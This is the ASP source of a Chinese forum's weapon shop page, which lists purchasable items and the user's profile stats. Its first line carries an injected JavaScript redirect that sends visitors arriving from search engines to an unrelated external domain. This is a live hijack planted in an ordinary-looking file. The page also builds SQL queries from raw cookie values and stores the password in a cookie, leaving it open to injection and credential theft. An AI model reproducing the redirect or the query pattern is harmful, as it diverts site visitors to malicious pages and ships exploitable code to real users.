d:\wwwroot\wuchunhua\wqshop.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!-- #include file="setup.asp" -->
002: <%
003: top
004: if Request.Cookies("username")=empty then
005: response.redirect "login.asp"
006: end if
007:
008: if instr(Request.Cookies("username")," ")>0 then:error("<li>非法操作"):end if
009: sql="select * from [user] where username='"&Request.Cookies("username")&"'"
010: rs.Open sql,Conn,1,3
011:
012: if Request.Cookies("userpass")<>rs("userpass") then
013: error2("密码错误!")
014: end if
015: username=Request.Cookies("username")
016: rs.close
017:
018: %
>
019:
020: <head>
021: <title>社区物品-武器商店</title>
022:
023:
024: </head>
025:
026: <table border=0 width=97% align=center cellspacing=1 cellpadding=4 class=a2>
027: <tr class=a3>
028: <td height=25>&nbsp;<img src=images/Forum_nav.gif>&nbsp; <%ClubTree%> →
029: <a href="wqshop.asp">武器商店</a></td>
030: </tr>
031: </table><br>
032:
033:
034: <table border="0" cellpadding="0" align="center" cellspacing="0" style="border-collapse: collapse; border-width: 0" width="97%" id="AutoNumber1">
035:   <tr>
036:     <td width="3%"><img src="images/announce.gif" align="middle"></td>
037:     <td width="67%">社区公告:<marquee onmouseover="this.stop()" onmouseout="this.start()" width="90%" scrollamount="3"><a target=_blank href="affiche.asp"><%=affichetitle%></a></marquee></td>
038:       </tr>
039: </table>
040:
041: <SCRIPT>valigntop()</SCRIPT>
042: <table cellspacing="1" cellpadding="1" width="97%" align="center" border="0" class="a2"><tr><td height="25" class="a1" colspan="2"> ■<b>社区物品选购<font color=#000000>  <a href="shop2.asp"><font color=#000000>礼品店</font></a> | <a href="wqshop.asp"><font color=#000000>武器店</font></a> | <a href="aqshop.asp"><font color=#000000>暗器店</font></a> | <a href="fjshop.asp"><font color=#000000>防具店</font></a> | <a href="dangpu.asp"><font color=#000000>社区当铺</font></a>  &nbsp;&nbsp;| <a href="shop.asp"><font color=#000000>其他商品</font></a> | <a href="mytools.asp"><font color=#000000>我的物品</font></a></font></b></td></tr><tr>
043: <td class="a3"><table cellspacing="0" cellpadding="3" width="100%" border="0" style="border-left: 0px none; border-top: 0px none; border-bottom: 1px none"><tr><td><table border="0" cellpadding="0" cellspacing="0" width="100%">
044:    <tr valign="top" align="center">
045:     <td colspan="2">
046:     <br>
047:      <%
048:      rs.Open "select * from [tools] where use = 2",Conn,1,3
049:      if not rs.eof then
050:      rs.movefirst
051:      while not rs.eof
052:      %
>  
053: <table width="93%" border="0" cellspacing="0" cellpadding="0" height="112">
054:   <tr>
055:     <td width="300">
056: <form method="post" action="maiing.asp?menu=wuqi">
057:        <table border="0" cellspacing="1" cellpadding="0" width="100%" height="25" class="a2">
058:          <tr height="21" align="center" class="a1">
059:             <td><b><%=rs("toolname")%></b></td>
060:          </tr>
061:          <tr>
062:             <td>
063:             <table border="0" cellspacing="0" cellpadding="0" width="100%" class="a3">
064:                <tr cellspacing="0" cellpadding="0" class="a4">
065:                   <td rowspan="2" align="center">
066: <img src=<%=rs("toolimg")%> width="100" height="75" border="1"></td><td width="5%">
067:                   <td>
068:       物品价格:<%=rs("price")%><br>
069:       物品功能:<%
070:       if rs("exp")<>0 then
071:       Response.Write "攻击:<font color=#FF0000>"&rs("exp")&"</font> "
072:       end if
073:       if rs("magicpower")<>0 then
074:       Response.Write "防御:<font color=#FF0000>"&rs("magicpower")&"</font> "
075:       end if
076:       %
>
077: <br><%=rs("info")%><br>
078:                                    </td>
079:                </tr>
080:                <tr class="a4"><td width="5%">
081:                   <td>我要购买该物品:<input type="radio" name="buys" value="<%=rs("toolname")%>"></td>
082:                </tr>
083:             </table>
084:             </td>
085:          </tr>
086:       </table><br>
087:
088:     </td>
089:     <td width="300"><%
090:     rs.movenext
091:     if not rs.eof then
092:     %
>
093:        <table border="0" cellspacing="1" cellpadding="0" width="100%" height="25" class="a2">
094:          <tr height="21" align="center" class="a1">
095:             <td><b><%=rs("toolname")%></b></td>
096:          </tr>
097:          <tr>
098:             <td>
099:             <table border="0" width="100%" cellspacing="0" cellpadding="0" class="a3">
100:                <tr cellspacing="0" cellpadding="0" class="a4">
101:                   <td rowspan="2" align="center">
102: <img src=<%=rs("toolimg")%> width="100" height="75" border="1"></td><td width="5%"></td>
103:                   <td>
104:       物品价格:<%=rs("price")%><br>
105:       物品功能:<%
106:       if rs("exp")<>0 then
107:       Response.Write "攻击:<font color=#FF0000>"&rs("exp")&"</font> "
108:       end if
109:       if rs("magicpower")<>0 then
110:       Response.Write "防御:<font color=#FF0000>"&rs("magicpower")&"</font> "
111:       end if
112:       %
><br><%=rs("info")%><br>
113:                </tr>
114:                <tr class="a4"><td width="5%">
115:                   <td>我要购买该物品:<input type="radio" name="buys" value="<%=rs("toolname")%>"></td>
116:                </tr>
117:             </table>
118:             </td>
119:          </tr>
120:       </table><br>
121:     <%
122:     rs.movenext
123:     end if
124:     %
>
125:     </td>
126:   </tr>
127: </table>
128: <%
129: wend
130: end if
131: rs.close
132: %
>
133:    <table border="0" width="50%">
134:         <tr>
135:           <td valign="top" colspan="2" align="right">
136:                <input type="submit" name="Submit" value=" 购 买 " class="a7" style="width:70px;height:22px">
137:               <br>
138:              </td>
139:         </tr>
140:    </table>    </form>
141: </td>
142:    <td align="middle" align="left" width="25%"><br><br><img src="images/plus/TOOLS.GIF"><br><br>
143:             </td>
144:          </tr>
145:       </table>
146: </table></td></tr></table>
147: <SCRIPT>valignbottom()</SCRIPT>
148:
149: <br>
150: <SCRIPT>valigntop()</SCRIPT>
151: <table cellspacing="1" cellpadding="1" width="97%" align="center" border="0" class="a2"><tr><td height="25" class="a1" colspan="2"> ■<b> 您的个人状态</b></td></tr><tr>
152:       <td align="middle" width="5%" bgcolor=FFFFFF><img src="images/mystate.gif"></td><td class="a4"><table cellspacing="0" cellpadding="3" width="100%" border="0" style="border-left: 0px none; border-top: 0px none; border-bottom: 1px none"><tr><td><table border="0" cellpadding="0" cellspacing="0" width="100%">
153: <%sql="select * from [user] where username='"&Request.Cookies("username")&"'"
154: rs.Open sql,Conn,1,3
155: %
>  <tr><td width="25%">        社区昵称:<%=rs("username")%></td><td width="20%">
156:             社区等级:<Script>document.write(level(<%=rs("experience")%>,<%=rs("membercode")%>,'','')+levelname);</Script>  </td><td width="20%">
157:             社区金币:<%=rs("money")%>  </td><td width="17%">
158:             发表文章:<%=rs("posttopic")+rs("postrevert")%>  </td><td width="18%">
159:             精华文章:<%=rs("goodtopic")%>   </td></tr><tr><td>
160:             社区住宅:<%if ""&rs("building")&""="" then
161:                response.write "无"
162:                else
163:                response.write rs("building")
164:                end if%
> </td><td>
165:             社区经验:<%=rs("experience")%>  </td><td>
166:             社区存款:<%=rs("savemoney")%>  </td><td>
167:                                 魅 力 值:<%=rs("magicpower")%> </td><td>
168:             体 力 值:<%=rs("userlife")%> </td></tr> <tr><td>
169:             社区伴侣:<%if ""&rs("consort")&""=empty then
170:                response.write "无"
171:                else
172:                response.write "<a href=Profile.asp?username="&rs("consort")&">"&rs("consort")&"</a>"
173:                end if%
> </td><td>
174:             社区门派:<%if ""&rs("faction")&""="" then
175:                response.write "无"
176:                else
177:                response.write rs("faction")
178:                end if%
></td><td colspan="2">
179:             注册日期: <%=rs("regtime")%> </td></tr>
180:       </table></td></tr>
181:    </table></td></tr>
182:   </table><%
183:        rs.close
184:        %
>
185: <SCRIPT>valignbottom()</SCRIPT>
186:
187: <br>
188:
189:
190: <%
191: htmlend
192:
193: %
>
194:
195:
196: